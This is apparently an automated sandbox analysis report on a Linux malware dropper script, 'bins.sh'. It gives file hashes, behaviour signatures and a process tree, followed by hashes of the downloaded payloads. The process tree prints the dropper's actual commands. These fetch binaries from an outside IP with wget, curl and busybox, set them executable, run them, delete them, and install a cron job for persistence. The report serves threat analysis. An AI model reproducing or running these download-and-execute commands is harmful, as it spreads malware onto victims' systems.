Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    25-11-2024 17:01

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ff11827cacbdfc494c394c5d8e7272db

  • SHA1

    9acddf73007240f35b04f7fe4732d47cd0b04137

  • SHA256

    10e3e3e76552e191e9c880e374448c94e4d9ea8b76337345ffed3305d3b6722e

  • SHA512

    a045f1446bdb8160644c1e258d5a17327dc5d81b05bda3fddbe70b00007d6b63363d4b98f10a9c1fbcdf87befe5a73a543a4e0f7728feae5ad0e053384968958

  • SSDEEP

    192:JBVtKqN2M/XoDM9VR9/9d9k9I9NGjOHBVtKq8sXU9VR9/9d9k9I9Ton:t2MfoDM9X9/9d9k9I9NG6m2U9X9/9d9y

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1506
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1507
        • /usr/bin/wget
          wget http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • Writes file to tmp directory
          PID:1514
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • Writes file to tmp directory
          PID:1515
        • /bin/chmod
          chmod 777 VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • File and Directory Permissions Modification
          PID:1516
        • /tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          ./VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • Executes dropped EXE
          PID:1517
        • /bin/rm
          rm VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
            PID:1519
          • /usr/bin/wget
            wget http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • Writes file to tmp directory
            PID:1520
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • Writes file to tmp directory
            PID:1521
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • Writes file to tmp directory
            PID:1522
          • /bin/chmod
            chmod 777 cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • File and Directory Permissions Modification
            PID:1523
          • /tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            ./cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • Executes dropped EXE
            PID:1524
          • /bin/rm
            rm cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
              PID:1526
            • /usr/bin/wget
              wget http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
              • Writes file to tmp directory
              PID:1527
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
              • Writes file to tmp directory
              PID:1528
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
              • Writes file to tmp directory
              PID:1529
            • /bin/chmod
              chmod 777 cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
              • File and Directory Permissions Modification
              PID:1530
            • /tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              ./cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
              • Executes dropped EXE
              PID:1531
            • /bin/rm
              rm cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
                PID:1533
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                • Writes file to tmp directory
                PID:1534
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                • Writes file to tmp directory
                PID:1535
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                • Writes file to tmp directory
                PID:1536
              • /bin/chmod
                chmod 777 Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                • File and Directory Permissions Modification
                PID:1537
              • /tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                ./Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                • Executes dropped EXE
                PID:1538
              • /bin/rm
                rm Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                  PID:1540
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  2⤵
                  • Writes file to tmp directory
                  PID:1541
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  2⤵
                  • Writes file to tmp directory
                  PID:1542
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  2⤵
                  • Writes file to tmp directory
                  PID:1543
                • /bin/chmod
                  chmod 777 guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1544
                • /tmp/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  ./guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  2⤵
                  • Executes dropped EXE
                  PID:1545
                • /bin/rm
                  rm guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  2⤵
                    PID:1547
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/IzLa6g8n5Y2XcCsUmbgo9RPFzontynPRGY
                    2⤵
                    • Writes file to tmp directory
                    PID:1548
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/IzLa6g8n5Y2XcCsUmbgo9RPFzontynPRGY
                    2⤵
                    • Writes file to tmp directory
                    PID:1549
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/IzLa6g8n5Y2XcCsUmbgo9RPFzontynPRGY
                    2⤵
                    • Writes file to tmp directory
                    PID:1550
                  • /bin/chmod
                    chmod 777 IzLa6g8n5Y2XcCsUmbgo9RPFzontynPRGY
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1551
                  • /tmp/IzLa6g8n5Y2XcCsUmbgo9RPFzontynPRGY
                    ./IzLa6g8n5Y2XcCsUmbgo9RPFzontynPRGY
                    2⤵
                    • Executes dropped EXE
                    PID:1552
                  • /bin/rm
                    rm IzLa6g8n5Y2XcCsUmbgo9RPFzontynPRGY
                    2⤵
                      PID:1554
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/uDNmDUFVeLq1LeFOJrV1agXtboZYGlGgqN
                      2⤵
                      • Writes file to tmp directory
                      PID:1555
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/uDNmDUFVeLq1LeFOJrV1agXtboZYGlGgqN
                      2⤵
                      • Writes file to tmp directory
                      PID:1556
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/uDNmDUFVeLq1LeFOJrV1agXtboZYGlGgqN
                      2⤵
                      • Writes file to tmp directory
                      PID:1557
                    • /bin/chmod
                      chmod 777 uDNmDUFVeLq1LeFOJrV1agXtboZYGlGgqN
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1558
                    • /tmp/uDNmDUFVeLq1LeFOJrV1agXtboZYGlGgqN
                      ./uDNmDUFVeLq1LeFOJrV1agXtboZYGlGgqN
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1559
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1561
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1562
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1563
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1564
                          • /bin/rm
                            rm uDNmDUFVeLq1LeFOJrV1agXtboZYGlGgqN
                            2⤵
                              PID:1566
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/RuBij7HugixUpQ1dBwAaQMVVU5OFDV0Uwo
                              2⤵
                                PID:1569

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/IzLa6g8n5Y2XcCsUmbgo9RPFzontynPRGY

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/uDNmDUFVeLq1LeFOJrV1agXtboZYGlGgqN

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /var/spool/cron/crontabs/tmp.XBQpy1

                              Filesize

                              210B

                              MD5

                              da076da0ead5dcb0bcb295b6980ca0d2

                              SHA1

                              c9ba7fb9be1a1e7cc686311405ca9aaf0dbe66e2

                              SHA256

                              4b76929ac783e7926c4aa4033db6f96630461dc7a0581c0ed4c5e8df8d6dd8b4

                              SHA512

                              a181844b3e9ee47b1e5d1bfd09617fe2c77830d9b0865d7073fa388036c0f72e121897deec9911c060d821e4be31a750a556d38a91fdb89bbd9b29be7ae74a10